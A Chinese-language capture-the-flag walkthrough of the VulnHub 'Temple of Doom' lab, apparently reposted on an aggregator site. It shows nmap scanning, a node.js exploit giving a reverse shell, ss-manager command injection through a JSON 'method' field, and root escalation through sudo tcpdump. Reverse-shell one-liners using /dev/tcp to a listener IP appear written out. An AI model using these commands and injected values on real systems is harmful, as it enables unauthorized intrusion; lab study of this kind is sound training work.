Temple of Doom靶场&nodejs获取shell&ss-manager漏洞&tcpdump提权

这篇具有很好参考价值的文章主要介绍了Temple of Doom靶场&nodejs获取shell&ss-manager漏洞&tcpdump提权。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

下载链接:

Temple of Doom: 1 ~ VulnHub
下载完成后直接在vxbox中导入即可,网络链接模式根据自身情况而定(我采用的桥接模式)

正文:

先用nmap进行扫描靶机ip

nmap -sn 192.168.1.1/24


temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
对192.168.1.5进行端口探测,并将结果保存到Temple文件夹下命名为port

nmap -p- 192.168.1.5 -r -PN -oA Temple/port


(-p-:对所有端口进行探测

   -PN:用于禁用主机发现。这些参数告诉Nmap不要执行主机存活检测,而是直接扫描指定的目标

    -oA:输出到指定位置

     -r:连续扫描端口,并在扫描过程中随机排序目标端口。这可以帮助减少被网络防御系统检测到的风险。

temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php

nmap -p 22,666 192.168.1.5 -sC -sV -r -O --version-all -A -oA Temple/server

 (-p:对指定的端口进行探测

   -sV:版本信息

   -sC:默认脚本扫描

    -A:启动Os检测,版本检测,脚本扫描和traceroute

   -O:探测操作系统信息

   --version-all:尽可能多的探测信息)
temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
   我们发现并没有80端口
   但是666端口为http服务,并且是node.js(java运行环境)
   对666端口进行访问
temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
   除了这个就没有其他提示
   使用bp抓包看能不能有发现
temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
   发现给到的cookie可能有猫腻(进行了加密)
   将cookie进行base64解码
temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
   得到信息:
   {"username":"Admin","csrftoken":"u32t4o3tb3gg431fs34ggdgchjwnza0l=","Expires=":Friday, 13 Oct 2018 00:00:00 GMT"}
   该数据目前来说并没有多大作用

   获取shell


  根据nmap结果 在kali中搜索nodejs漏洞,看有没有可以用来利用的poc
  

 searchsploit nodejs

temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
   符合我们要求的就是这个49552.py,将该文件复制出来,并进行查看
   

searchsploit nodejs -m 49552

temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
   

cat 49552.py

temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
  对该exp进行修改
   

vim 49552.py

temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
   将url改为靶场host,并将反弹shell改为kali机的ip以及端口
   保存退出
  新建窗口,并对修改后的端口进行监听(我这里改为了8080)

 nc -lvvp 8080

temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php

  python2 49552.py #python3运行会因为兼容问题报错

temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
  回到nc监听窗口,反弹shell成功temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
  查找具有suid权限的文件,看能否进行提权
 

 find / -perm -u=s -type f 2>/dev/null

temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
  经过一番查看以及对计划任务查看,并没有我们可以利用的东西
  但是我们在家目录发现了另一个用户temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
  我们查看下该用户的进程有没有可以利用的东西

  提权

ps aux | grep fireman

temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
  经过查询,该文件为多用户管理面板,并且有任意代码执行漏洞
  详情可以看这篇文章【漏洞预警】 SHADOWSOCKS-LIBEV 命令执行漏洞|NOSEC安全讯息平台 - 白帽汇安全研究院
  
 在当前shell中 用nc监听本地的8839端口(UDP)(不是返回到kali新窗口中)

nc -u 127.0.0.1 8839

temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
使用一下命令进行尝试看是否生效,该命令如果执行成功会在/tmp目录下创建evil文件

add: {"server_port":8003, "password":"test", "method":"||touch /tmp/evil||"}


temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
命令执行成功
因为该文件(ss-manager)为fireman用户所有,所以我们可以利用该漏洞再次进行反弹shell操作
这样我们就可以获取到fireman用户

更改代码后方的创建文件命令替换为反弹shell命令进行尝试
在kali中打开新窗口进行监听(未被占用的端口)

nc -lvvp 7789


在刚才的shell窗口输入

add: {"server_port":8003, "password":"test", "method":"||sh -i >& /dev/tcp/192.168.1.4/7789 0>&1||"}


(不要忘记该代码后的 “ || ”)temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
反弹成功,并且用户为fireman
查看可以root权限运行的文件(之前用户并不具有该权限)

sudo -l


temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
发现该文件具有tcpdump权限(可以在该网站中查询使用方法以及其他命令的提权方式。包括但不仅限于suid、sudoGTFOBins)temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php根据内容我们来进行提权($符号为变量符号,需要我们根据自己的需求进行更改)
该提权方法同样也是通过反弹shell进行提权
先在文件中写入反弹shell(同样需要一个未被占用的端口进行监听)
将文件写入到/tmp目录下(该目录下通常权限较高)

echo "sh -i >& /dev/tcp/192.168.1.4/2233 0>&1" > /tmp/shell.sh

temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
并给该文件运行权限

chmod +x shell.sh


利用tcpdump文件进行运行(需要提前打开nc对2233端口进行监听)

nc -lvvp 2233


temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
我们需要对提供的命令进行小幅度修改

sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root


改为

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root


(解释:网络接口 (`-i`参数):第一个命令(`sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root`)使用的是`lo`(本地回环)网络接口进行数据包捕获,而第二个命令(sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root)使用的是`eth0`网络接口进行数据包捕获。`eth0`一般是指物理网卡接口,而`lo`是指本地回环接口,用于本地通信)
所以我们采用修改后的命令

sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root

temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,phptemple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
提权成功

用修改前的命令同样可以提权成功,但是原理比较复杂
同样打开nc监听2233端口

nc -lvvp 2233


打开fireman窗口,这次我们输入第一条命令

sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/shell.sh -Z root

temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
此时两个窗口都没有反应,返回到我们最初的用户窗口temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
即该窗口,我们可以看到当我们使用ss-manager文件进行反弹shell时并没有返回”ok“,然后我们需要将fireman的shell断开(ctrl+c),,该位置才会返回”ok“temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
此时,我们再返回到最后的监听窗口会发现反弹shell成功temple-of-doom-v1 靶场,linux,数据库,运维,网络安全,web安全,服务器,php
具体的原理我还是跟模糊,希望有大佬可以解答一下,我个人猜测应该是我们第一次反弹fireman用户的shell时没有断开就再次利用该用户反弹root的shell会造成一个占用吧.....所以nc会一直进行监听,但是fireman用户因为是占用状态所以没有办法进行反弹(个人猜测,希望大佬指正!)文章来源地址https://www.toymoban.com/news/detail-847237.html

到了这里,关于Temple of Doom靶场&nodejs获取shell&ss-manager漏洞&tcpdump提权的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 论文解析 -- A Survey of AIOps Methods for Failure Management

    此篇Survey是A Systematic Mapping Study in AIOps的后续研究 对于AIOPS中占比较高的Failure Management进行进一步的研究       Compared to traditional approaches, AIOps is: • fast , because it reacts independently and automatically to real-time problems, without re- quiring long manual debugging and analysis sessions; • efficient , be

    2023年04月20日
    浏览(39)
  • Blockchain for Internet of Energy management: Review, solutions, and challenges

    本文是《Blockchain for Internet of Energy management: Review, solutions, and challenges》的中文翻译。 继智能电网之后,通过整合不同形式的能源,能源互联网(IoE)已成为能源领域的一项流行技术。IoE利用互联网收集、组织、优化和管理来自不同边缘设备的网络能源信息,以开发分布式智

    2024年02月02日
    浏览(43)
  • RuntimeError: CUDA out of memory See documentation for Memory Management and PYTORCH_CUDA_ALLOC_CONF

    报错: If reserved memory is allocated memory try setting max_split_size_mb to avoid fragmentation. See documentation for Memory Management and PYTORCH_CUDA_ALLOC_CONF 当reserved memory is allocated memory,进行如下设置,可解决此bug: 代码如下:

    2024年02月11日
    浏览(51)
  • 学习NodeJs之【如何获取客户端真实IP】

            产品想要增加一个操作日志的模块,重点记录增删改的操作ip。         这块业务其实需要按【是否代理】来分逻辑。首次开发时,并未考虑  测试生产环境有统一代理  ,导致传统的获取ip方式取到了容器网关ip。——显然这样是无法满足产品想要区分操作

    2024年02月03日
    浏览(44)
  • SHELL脚本“syntax error: unexpected end of file”解决方案

    目前发现运行shell脚本时, 出现\\\"syntax error: unexpected end of file\\\"的情况有三种, 第三种应该有很多变异的情况 第一种, 常说的window下编写的shell脚本, 放到linux下运行会出现这种报错, 因为win下编写的shell脚本的格式是dos格式的, 这情况网上的解决办法有很多,如下: 如果确实是这种情

    2024年02月15日
    浏览(47)
  • NodeJS获取当前目录、运行文件所在目录、运行文件的上级目录

    参考链接: NodeJS获取当前目录和运行文件所在目录 node如何获取当前文件的上级目录路径?

    2024年02月16日
    浏览(37)
  • nginx代理后,nodejs如何获取用户真实ip地址(包括websocket获取用户真实IP地址)

    因为nginx代理的原因,我们在请求头中获取到的用户ip只是nginx代理的ip,并非用户真实ip,原因是经过反向代理后,由于在客户端和web服务器之间增加了中间层,因此web服务器无法直接拿到客户端的ip,可以通过$remote_addr变量拿到的将是反向代理服务器的ip地址。 第一步,修改

    2024年02月13日
    浏览(67)
  • App备案-iOS云管理式证书 Distribution Managed 公钥及证书SHA-1指纹的获取方法

    根据近日工业和信息化部发布的《工业和信息化部关于开展移动互联网应用程序备案工作的通知》,相信不少要进行IOS平台App备案的朋友遇到了一个问题,就是apple不提供云管理式证书的下载,也就无法获取公钥及证书SHA-1指纹。  已经上架的应用不想重新打包发布的话。可以

    2024年02月08日
    浏览(44)
  • NodeJS 后端通过Http获取Base64格式数据显示图片 ②〇

    Node.js 是一个javascript运行环境。它让javascript可以开 发后端程序 ,实现几乎其他后端语言实现的所有功能,可以与```PHP、Java、Python、.NET、Ruby等后端语言平起平坐。 Nodejs是基于V8引擎,V8是Google发布的开源JavaScript引擎,本身就是用于Chrome浏览器的JS解释,但是Node之父 Ryan Dah

    2024年02月16日
    浏览(70)
  • nodejs接口联动获取req的各种类型数据,搭建可视化流程引擎平台

    考虑跨域等性能,简易的工程化,采用express框架 接下来我们就来安装 body-parser express的中间件 body-parser 解析客户端请求的body中的内容,JSON编码处理和url编码处理 文件上传看我之前的博客内容 http://localhost:8080/?age=1 http://localhost:8080/12/url 当然也可以进行组合发送 链接数据库

    2024年02月11日
    浏览(40)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包